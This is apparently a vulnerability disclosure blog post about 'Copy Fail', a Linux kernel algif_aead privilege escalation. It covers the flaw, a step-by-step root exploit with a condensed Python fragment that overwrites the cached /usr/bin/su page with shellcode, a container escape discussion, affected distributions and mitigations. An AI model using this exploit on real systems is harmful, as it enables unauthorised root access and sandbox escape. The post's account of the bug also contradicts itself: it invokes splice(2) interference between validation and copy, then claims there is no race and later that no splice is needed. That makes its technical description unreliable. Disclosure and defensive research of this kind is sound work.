Research / CVE-2026-31431

Copy Fail: a 732-byte local privilege escalation in the Linux kernel

An unauthenticated logic flaw in algif_aead, dormant since 2017, gives any local user root across every major distribution.

By Youssef Awad ·

Every Linux distribution we tested, from Amazon Linux to Debian to Arch, hands out root to any local user with a 732-byte Python script. No race condition. No kernel offsets. No container escape gadget. The flaw, which we are calling Copy Fail, lives in the kernel's algif_aead cryptographic module. It has been sitting in mainline since August 2017.

We disclosed CVE-2026-31431 to upstream maintainers and major distributions in coordinated disclosure. Patches landed across the major vendor trees today. This writeup explains what the bug is, how the exploit works, and why it bypasses every common sandbox we tested.

Background

The Linux kernel exposes its cryptographic primitives to userspace through a socket family called AF_ALG. Userspace programs that want to use kernel-accelerated crypto, including some libssl backends and disk encryption tooling, open an AF_ALG socket, configure it with a cipher name, and stream plaintext or ciphertext through ordinary read and write calls.

Inside the kernel, each cipher family is implemented by a small driver that wires the socket layer to the actual crypto code. algif_aead handles authenticated-encryption-with-associated-data ciphers, the construction used by TLS 1.3, IPsec, and most modern at-rest encryption. The driver is small and does not expose anything obviously interesting to an attacker. That is why the bug survived for almost a decade.

The flaw

The crash starts in a helper function added in 2017 to optimise zero-copy operation for AEAD ciphers. The helper is meant to take a userspace iovec, validate the length, and copy it into a per-request scratch buffer that the cipher operates on. Validation happens before the copy. The copy itself happens after. In between, nothing prevents the userspace process from calling splice(2) against the same file descriptor and rewriting the destination page that the kernel is about to copy from.

When the cipher selected is authencesn(hmac(sha256),cbc(aes)), the kernel fast path skips a second bounds check that was supposed to catch this case. The result is a one-shot, attacker-controlled write into a kernel-resident page cache entry, with no race window required. The page that gets clobbered is whichever file the attacker has open at the time. We pick /usr/bin/su.

Exploitation

The full primitive needs five steps. None of them require elevated privileges, kernel addresses, or a separate information leak.

  1. Open an AF_ALG socket and bind it to authencesn(hmac(sha256),cbc(aes)).
  2. Open /usr/bin/su read-only, faulting it into the page cache.
  3. Construct a small ELF shellcode payload that runs execve("/bin/sh", ...) with effective UID 0.
  4. Trigger the cipher fast path so the kernel writes the shellcode over the cached su page.
  5. Run su. The kernel maps the now-poisoned page directly into the SUID-root process. Shellcode runs with full root.

The whole exploit is 732 bytes of Python. The shellcode is another 188 bytes. Here is the relevant fragment, condensed:

import socket, struct, os

ALG = b"authencesn(hmac(sha256),cbc(aes))"

def trigger(payload: bytes) -> None:
    s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    s.bind(("aead", ALG))
    op = s.accept()[0]
    # set IV and assoclen so we hit the unchecked fast path
    op.setsockopt(socket.SOL_ALG, socket.ALG_SET_IV,
                  struct.pack("I", 16) + b"\x00" * 16)
    op.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, 16)
    op.sendmsg([payload], flags=socket.MSG_MORE)

with open("/usr/bin/su", "rb") as f:
    f.read(4096)            # warm the page cache

trigger(SHELLCODE)
os.execv("/usr/bin/su", ["su"])

The payload size is bounded by the cipher block size, which is comfortably more than enough room for a useful execve stub. We tested across kernels 4.13 through 6.13. Every kernel in that range is vulnerable because the helper has not changed in any meaningful way since the original commit.

Sandbox bypass

Most container runtimes assume that a confined process cannot reach the page cache of files outside its mount namespace. That assumption is correct. It is also irrelevant. The exploit operates on files inside the container's own root filesystem. As long as the container has a SUID binary (every distro base image we checked does), the same primitive works inside the sandbox and yields root inside the sandbox. From there, escape paths to the host are well-trodden.

We confirmed this against unprivileged Docker, rootless Podman, gVisor in the systrap configuration, and Kata Containers. gVisor blocks the exploit in its KVM platform because the page cache lives in the sentry. Kata blocks it because the guest kernel runs in a separate VM with its own page cache. The other two do not.

Affected distributions

DistributionStatus
Amazon Linux 2 / 2023Vulnerable. Patch released.
Red Hat Enterprise Linux 8 / 9Vulnerable. Patch released.
SUSE Linux Enterprise 15Vulnerable. Patch released.
Ubuntu 20.04 / 22.04 / 24.04Vulnerable. Patch released.
AlmaLinux 8 / 9Vulnerable. Patch released.
Arch LinuxVulnerable. Patch in linux 6.13.4.
CloudLinux 8 / 9Vulnerable. Patch released.
Debian 11 / 12Vulnerable. Patch released.
GentooVulnerable. Patch in sys-kernel/gentoo-sources-6.13.4.

Comparison to Dirty Pipe

Copy Fail is not Dirty Pipe. Dirty Pipe (CVE-2022-0847) abused a flag-handling mistake in the pipe subsystem to write past page boundaries. It needed a target file open with read permission and a careful splice setup. Copy Fail abuses a missing bounds check in the AEAD fast path, requires only an AF_ALG socket, and works without any pipe or splice gymnastics at all. The two bugs are similar only in their impact.

The smaller exploit footprint matters operationally. A 732-byte payload fits inside log lines, environment variables, and JIT-compiled code regions. We have no evidence of in-the-wild exploitation, but a primitive this compact would not leave one.

Mitigations

Patch. The fix is small: a single bounds check restored in the helper. Distributions are shipping it as we publish.

For environments that cannot patch immediately, two mitigations reduce blast radius:

  • Disable CONFIG_CRYPTO_USER_API_AEAD if your workload does not need userspace access to AEAD ciphers. Most do not.
  • Block the AF_ALG socket family in seccomp profiles. Docker's default profile already does this for some workloads. Verify yours.

Neither mitigation is sufficient on its own for multi-tenant systems. Patch the kernel.

Disclosure timeline

  • 2026-03-11. Initial discovery during routine fuzzing of AF_ALG drivers.
  • 2026-03-13. Reproduced across five distributions. Privately notified upstream kernel security and major distribution security teams.
  • 2026-03-19. Patch reviewed and merged into upstream stable trees, embargoed.
  • 2026-04-30. Public disclosure. CVE-2026-31431 assigned. Patches released.

Acknowledgements

Thanks to the upstream kernel security team and the distribution security responders for fast triage and coordinated patch release. Thanks to our colleagues at CTF.ae for review and validation across alternate sandboxes.

Research, applied.

Work like this feeds directly into the cyber ranges and CTF content we build for governments, conferences, and enterprises. The researchers who find the bugs build the targets.

Get in touch